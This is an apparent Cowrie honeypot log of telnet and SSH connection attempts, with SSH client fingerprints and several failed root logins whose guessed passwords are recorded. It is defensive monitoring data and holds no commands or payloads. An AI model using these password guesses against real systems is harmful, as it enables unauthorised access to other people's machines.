{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49782,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9d1423a4d77","protocol":"telnet","message":"New connection: 62.210.97.77:49782 (10.17.0.5:23) [session: b9d1423a4d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:29.983065Z"}
{"eventid":"cowrie.session.closed","duration":33.219921827316284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:30.250746Z","src_ip":"62.210.97.77","session":"101fa375fd90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49796,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef42d1cbe2b6","protocol":"telnet","message":"New connection: 62.210.97.77:49796 (10.17.0.5:23) [session: ef42d1cbe2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:30.630731Z"}
{"eventid":"cowrie.session.closed","duration":44.786481618881226,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:31.174298Z","src_ip":"65.60.27.33","session":"3e0c9b26c19b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:33.084527Z","src_ip":"213.209.159.158","session":"207a949d6a45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":10246,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccd4be68ce75","protocol":"ssh","message":"New connection: 213.209.159.158:10246 (10.17.0.5:22) [session: ccd4be68ce75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:33.167517Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45670,"dst_ip":"10.17.0.5","dst_port":23,"session":"54cd9487005b","protocol":"telnet","message":"New connection: 165.232.131.181:45670 (10.17.0.5:23) [session: 54cd9487005b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:34.414484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:35.433640Z","src_ip":"213.209.159.158","session":"ccd4be68ce75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:35.437594Z","src_ip":"213.209.159.158","session":"ccd4be68ce75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49770,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5c59dd81475","protocol":"telnet","message":"New connection: 38.54.119.93:49770 (10.17.0.5:23) [session: d5c59dd81475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:36.410502Z"}
{"eventid":"cowrie.session.closed","duration":3.455622673034668,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:37.869982Z","src_ip":"165.232.131.181","session":"54cd9487005b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21617579460144,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:40.275918Z","src_ip":"62.210.97.77","session":"ce798c16112a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53726,"dst_ip":"10.17.0.5","dst_port":23,"session":"39d035f5c0da","protocol":"telnet","message":"New connection: 38.54.119.93:53726 (10.17.0.5:23) [session: 39d035f5c0da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:42.443594Z"}
{"eventid":"cowrie.session.closed","duration":36.81424808502197,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:42.676728Z","src_ip":"62.210.97.77","session":"be2213d7c7c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.755730867385864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:44.366307Z","src_ip":"62.210.97.77","session":"681d8df06cf6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"uu.123345","message":"login attempt [root/uu.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:45.320180Z","src_ip":"213.209.159.158","session":"ccd4be68ce75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35268,"dst_ip":"10.17.0.5","dst_port":23,"session":"18b82b96d76f","protocol":"telnet","message":"New connection: 62.210.97.77:35268 (10.17.0.5:23) [session: 18b82b96d76f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:46.884038Z"}
{"eventid":"cowrie.session.closed","duration":36.041020154953,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:48.034405Z","src_ip":"62.210.97.77","session":"a468b7111e81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35270,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd13e3f2840b","protocol":"telnet","message":"New connection: 62.210.97.77:35270 (10.17.0.5:23) [session: fd13e3f2840b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:48.432856Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:48.482492Z","src_ip":"213.209.159.158","session":"ccd4be68ce75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":43780,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd5770af4168","protocol":"ssh","message":"New connection: 213.209.159.158:43780 (10.17.0.5:22) [session: bd5770af4168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:48.566868Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":51168,"dst_ip":"10.17.0.5","dst_port":23,"session":"645ceb29527c","protocol":"telnet","message":"New connection: 165.232.131.181:51168 (10.17.0.5:23) [session: 645ceb29527c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:49.979301Z"}
{"eventid":"cowrie.session.closed","duration":37.41743016242981,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:50.012261Z","src_ip":"62.210.97.77","session":"d587a6839740","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:51.083775Z","src_ip":"213.209.159.158","session":"bd5770af4168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:51.087379Z","src_ip":"213.209.159.158","session":"bd5770af4168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54982,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b701e377bc1","protocol":"telnet","message":"New connection: 62.210.97.77:54982 (10.17.0.5:23) [session: 2b701e377bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:55.260926Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49718,"dst_ip":"10.17.0.5","dst_port":23,"session":"30297db96208","protocol":"telnet","message":"New connection: 62.210.97.77:49718 (10.17.0.5:23) [session: 30297db96208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:33:59.559390Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vagina","message":"login attempt [root/vagina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:00.767864Z","src_ip":"213.209.159.158","session":"bd5770af4168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.87931251525879,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:03.862240Z","src_ip":"62.210.97.77","session":"b9d1423a4d77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49726,"dst_ip":"10.17.0.5","dst_port":23,"session":"34b5f3e42f09","protocol":"telnet","message":"New connection: 62.210.97.77:49726 (10.17.0.5:23) [session: 34b5f3e42f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:03.903807Z"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:04.452739Z","src_ip":"213.209.159.158","session":"bd5770af4168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13276,"dst_ip":"10.17.0.5","dst_port":22,"session":"82c93f933ce4","protocol":"ssh","message":"New connection: 213.209.159.158:13276 (10.17.0.5:22) [session: 82c93f933ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:04.538111Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40186,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9163800e402","protocol":"telnet","message":"New connection: 38.54.119.93:40186 (10.17.0.5:23) [session: d9163800e402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:04.823370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:06.670187Z","src_ip":"213.209.159.158","session":"82c93f933ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:06.673938Z","src_ip":"213.209.159.158","session":"82c93f933ce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.99796485900879,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:07.628604Z","src_ip":"62.210.97.77","session":"ef42d1cbe2b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":58632,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4c6e19cb4b6","protocol":"telnet","message":"New connection: 165.232.131.181:58632 (10.17.0.5:23) [session: f4c6e19cb4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:07.861350Z"}
{"eventid":"cowrie.session.closed","duration":58.697611808776855,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:09.055308Z","src_ip":"165.232.131.181","session":"4826f33e90de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.536526679992676,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:09.359758Z","src_ip":"38.54.119.93","session":"d9163800e402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00122809410095,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:09.796803Z","src_ip":"165.232.131.181","session":"d5b89fc16f56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44314,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bbf79ef0e81","protocol":"telnet","message":"New connection: 38.54.119.93:44314 (10.17.0.5:23) [session: 3bbf79ef0e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:10.844873Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37080,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dabfb9e5aaa","protocol":"telnet","message":"New connection: 65.60.27.33:37080 (10.17.0.5:23) [session: 9dabfb9e5aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:16.433125Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vaidc123!","message":"login attempt [root/vaidc123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:16.624585Z","src_ip":"213.209.159.158","session":"82c93f933ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":32198,"dst_ip":"159.203.135.109","dst_port":22,"session":"f990b2b8ff83","protocol":"ssh","message":"New connection: 89.218.69.66:32198 (159.203.135.109:22) [session: f990b2b8ff83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:17.019997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:17.025496Z","src_ip":"89.218.69.66","session":"f990b2b8ff83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51924,"dst_ip":"10.17.0.5","dst_port":23,"session":"8600af41be5e","protocol":"telnet","message":"New connection: 62.210.97.77:51924 (10.17.0.5:23) [session: 8600af41be5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:17.178233Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:17.192999Z","src_ip":"89.218.69.66","session":"f990b2b8ff83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":51938,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48aa4b11595","protocol":"telnet","message":"New connection: 62.210.97.77:51938 (10.17.0.5:23) [session: d48aa4b11595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:17.364249Z"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:17.892049Z","src_ip":"89.218.69.66","session":"f990b2b8ff83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:19.061500Z","src_ip":"89.218.69.66","session":"f990b2b8ff83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":34770,"dst_ip":"10.17.0.5","dst_port":23,"session":"d11cd9eb2532","protocol":"telnet","message":"New connection: 165.232.131.181:34770 (10.17.0.5:23) [session: d11cd9eb2532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:19.552664Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35210,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d3954356348","protocol":"telnet","message":"New connection: 165.232.131.181:35210 (10.17.0.5:23) [session: 7d3954356348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:19.569663Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:19.856125Z","src_ip":"213.209.159.158","session":"82c93f933ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":10664,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e3700f1d173","protocol":"ssh","message":"New connection: 213.209.159.158:10664 (10.17.0.5:22) [session: 3e3700f1d173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:19.940073Z"}
{"eventid":"cowrie.session.closed","duration":34.759355783462524,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:21.643321Z","src_ip":"62.210.97.77","session":"18b82b96d76f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:22.024290Z","src_ip":"213.209.159.158","session":"3e3700f1d173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:22.028407Z","src_ip":"213.209.159.158","session":"3e3700f1d173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.49581718444824,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:34:22.928554Z","src_ip":"62.210.97.77","session":"fd13e3f2840b","protocol":"telnet"}
